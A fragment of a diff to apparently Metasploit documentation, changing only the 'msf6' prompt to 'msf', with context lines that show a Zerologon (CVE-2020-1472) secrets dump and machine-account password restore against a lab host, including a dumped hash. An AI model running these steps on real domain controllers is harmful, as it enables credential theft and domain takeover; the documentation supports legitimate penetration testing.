+msf auxiliary(gather/windows_secrets_dump) > set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
 SMBPass => aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
-msf6 auxiliary(gather/windows_secrets_dump) > run
+msf auxiliary(gather/windows_secrets_dump) > run
 [*] Running module against 192.168.159.53
 
 [*] 192.168.159.53:445 - Service RemoteRegistry is already running
@@ -131,18 +131,18 @@ EXCHG\WIN-GD5KVDKUNIP$:aad3b435b51404eeaad3b435b51404ee:ec3a7fa2158f1f705898d538
 No cached hashes on this system
 [*] 192.168.159.53:445 - Cleaning up...
 [*] Auxiliary module execution completed
-msf6 auxiliary(gather/windows_secrets_dump) >
+msf auxiliary(gather/windows_secrets_dump) >
 ```
 
 Finally, restore the original value using this module.
 
 ```
-msf6 auxiliary(gather/windows_secrets_dump) > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon 
-msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set ACTION RESTORE 
+msf auxiliary(gather/windows_secrets_dump) > use auxiliary/admin/dcerpc/cve_2020_1472_zerologon 
+msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set ACTION RESTORE 
 ACTION => RESTORE
-msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set PASSWORD 4151e8f8490762bc47ec11855921aef606f9d37176aef0f43a3fc6dc4aefc4c0d7bb7b88ad635a11f94de37e0d82495bab1dec25ac9d547910f94332f4598de372c07635fba1f6592bd3bb5aeb827cb088b1cae8db872b59e267ccfef1df40580c8d918befb3c39d809a6c89767a466f88f40eb373f86cf20c9b6a07e89b596e14a44eae6a4ae55b92a481b71452a3bbab2d5735d70868b778541f3c6e4d1c8c097c086bc40d364c01d4520b8a86a217ac79b4e826b9dc2eedd0a834146e3f6fba7422960dbd4051f499be61eca4e1aeba786030acfdd21e9f5a98a35a3f0430cf0b536bff99163118a1c75ec852cc2d
+msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > set PASSWORD 4151e8f8490762bc47ec11855921aef606f9d37176aef0f43a3fc6dc4aefc4c0d7bb7b88ad635a11f94de37e0d82495bab1dec25ac9d547910f94332f4598de372c07635fba1f6592bd3bb5aeb827cb088b1cae8db872b59e267ccfef1df40580c8d918befb3c39d809a6c89767a466f88f40eb373f86cf20c9b6a07e89b596e14a44eae6a4ae55b92a481b71452a3bbab2d5735d70868b778541f3c6e4d1c8c097c086bc40d364c01d4520b8a86a217ac79b4e826b9dc2eedd0a834146e3f6fba7422960dbd4051f499be61eca4e1aeba786030acfdd21e9f5a98a35a3f0430cf0b536bff99163118a1c75ec852cc2d
 PASSWORD => 4151e8f8490762bc47ec11855921aef606f9d37176aef0f43a3fc6dc4aefc4c0d7bb7b88ad635a11f94de37e0d82495bab1dec25ac9d547910f94332f4598de372c07635fba1f6592bd3bb5aeb827cb088b1cae8db872b59e267ccfef1df40580c8d918befb3c39d809a6c89767a466f88f40eb373f86cf20c9b6a07e89b596e14a44eae6a4ae55b92a481b71452a3bbab2d5735d70868b778541f3c6e4d1c8c097c086bc40d364c01d4520b8a86a217ac79b4e826b9dc2eedd0a834146e3f6fba7422960dbd4051f499be61eca4e1aeba786030acfdd21e9f5a98a35a3f0430cf0b536bff99163118a1c75ec852cc2d
-msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > show options 
+msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > show options 
 
 Module options (auxiliary/admin/dcerpc/cve_2020_1472_zerologon):
 
@@ -161,7 +161,7 @@ Auxiliary action:
    RESTORE  Restore the machine account password
 
 
-msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run
+msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run
 [*] Running module against 192.168.159.53
 
 [*] 192.168.159.53: - Connecting to the endpoint mapper service...
@@ -169,5 +169,5 @@ msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) > run
 [*] 192.168.159.53:6403 - Bound to 12345678-1234-abcd-ef00-01234567cffb:1.0@ncacn_ip_tcp:192.168.159.53[6403] ...
 [+] 192.168.159.53:6403 - Successfully set machine account (WIN-GD5KVDKUNIP$) password
 [*] Auxiliary module execution completed
-msf6 auxiliary(admin/dcerpc/cve_2020_1472_zerologon) >
+msf auxiliary(admin/dcerpc/cve_2020_1472_zerologon) >
 ```